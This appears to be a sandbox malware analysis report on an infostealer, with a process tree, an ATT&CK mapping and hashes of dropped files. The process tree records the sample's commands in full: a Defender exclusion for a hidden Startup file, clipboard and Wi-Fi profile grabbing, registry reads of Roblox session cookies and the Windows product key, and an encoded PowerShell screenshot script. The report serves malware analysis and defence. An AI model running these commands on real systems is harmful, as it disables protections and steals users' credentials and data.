- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‎ .scr'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1416
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‎ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1992
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3536
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:3124
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2488
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4908
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3472
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:5956
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2244
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4608
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5196
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4iygd55h\4iygd55h.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2472
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5097.tmp" "c:\Users\Admin\AppData\Local\Temp\4iygd55h\CSCF03120677D354625B8547F1EEEFD6CEC.TMP"
        6⤵
        
        PID:4996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4180
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2520
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1780
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1604
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3172
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5180
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:1908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5312
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6036
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI00000bd82\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\BUMKN.zip" *"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5804
  - - C:\Users\Admin\AppData\Local\Temp\_MEI00000bd82\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI00000bd82\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\BUMKN.zip" *
      4⤵
      Executes dropped EXE
      PID:4836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2140
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      PID:4904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4620
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      PID:3696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4172
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Queries system WMI classes for hardware identifiers
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      PID:4572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5952
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1408
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:2504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1664
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3784

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Video Capture

T1125

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c4d82dc58374a6a08c572dd6e61c96d9f6146878f804cc582acd51e8564ffdd5
MD5 645731fec6953a6df179f48222f46e00
SHA1 7e4e4af896470eaa52b618057b94d7369bf5bfdf
SHA512 4ad193faf183d142acc328b15f6e43142d5f79cfbe5cc5b8e0d1b1b3969b0b69079ed4df1ceaca11966eeccd1d966414ff72614aaba40e5c28a205fc1ae5f52b
TLSH
T128216633F3CD8665D899413A40CEAC0036B7D7DB809FCE9BAB84D518B43F689CE611A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
MD5 78b9021e0576c01ec958b87ec52832c1
SHA1 76df758d602c2d4cc4a4bfa0f3b435cae1ed3ffa
SHA512 4402163ed9623a392f120417ea0b5049bf0d76b88dd7f4fc70428ef7e76601f25bd534ae916ed9daba859fb6308d6f370712985ccd165f6393dbce7c5c507514
TLSH
T11F216833F3DD8614C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 435471b87a1a97b0e29f7d5dd0878e63031511f063629d7e750852c068e7c4f5
MD5 81b56f1dad28119d54bf23c83fc570b9
SHA1 cb9a89a716465611149ce3c700bd60681d434faf
SHA512 77bd4d53ca86d66d29ba662dd424e94e5cef46c6a460cbf9f8d87a40c627401c0f6d0fe30258c23ed1cf63df1a70b19288885a33c206fb85a19f12efaab61927
TLSH
T1F3216833B3DD8614C89A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 25e1b140c811c4912a32655544807fb9e0ee7677a3c2db782e24cb7391d80af0
MD5 402833ba70e992e0de909f936f7d5695
SHA1 9f40875659c83f4a2a72d768140ade83d3011cbc
SHA512 27834d8fc475e34483132e1b8e86665771b51fe9c200e72f6e5e5e8a8b3cd2dc44f96b01501faea3ed36997702addf89a19d6b4f33849c44ab72eabafb612bb2
TLSH
T140215333F3CD8624CC9A403A50CEAC1036B687DB419ECEABBB84D554A43F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

4iygd55h.dll

Path C:\Users\Admin\AppData\Local\Temp\4iygd55h\4iygd55h.dll
Size 4KB
SHA256 cf8d5cc969a3231936abb9138e5c0059e657bda0d01108c73bc799884554aa71
MD5 4a1dfc625da37f88c94595a425a69716
SHA1 1b32132abc4d186cb5d8c7f9813ee1a9f1591701
SHA512 9a9255ca69047adbea67eecc6164faadb88199e5a71c022a45428ae4d324a4509160ced685809224299c83a4b2905fa98c0477cb20803c8f5b5434e126a24c89
TLSH
T10181211693DCC57AF4BE077569F383076675EA109A32E34F1D84126CBC703606B25FA6
MD5 SHA1 SHA512 TLSH

Submit Download

RES5097.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES5097.tmp
Size 1KB
SHA256 f2c186aa035e241b5e1fe3878ec2602c1e03f6fbcdc24abf851ecc3cbf50eb20
MD5 9de07fdc183fd2f8af469ee355049bab
SHA1 080326a38f20e36834d372a948b7e9a913c18c45
SHA512 9807e5250da97aa5714850ce16a1841c894ab451630760b90f47097915a04a5c45f9d1767596d0a13a438d348a4daf730f31efe907ae932d39969643fd11f538
TLSH
T13921AD0553EC471FF0B7533179F6031B9169FD64EFA1975A864042182C91644EEA1B72
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI00000bd82\VCRUNTIME140.dll
Size 174KB
SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
MD5 07bc2f9c4c1b07e1cc013ca0079b31ac
SHA1 1098f2a834146995df7a91c78f72f210d8d2d12d
SHA512 8fd063d61d1c57bfae5ef105b1796c141ef2752dbad17ae79f974c417542c075bc8b4ac12163629a74e43004fd9cf170a76de9d11841b6e5c236f5b47fbbb09b
SSDEEP 3072:aoq3aLPst/GrhA4gBSnSQ37QwZyeBB0ecbavp7D:aofLPsmBnSQ3VyeBB0ecbaV
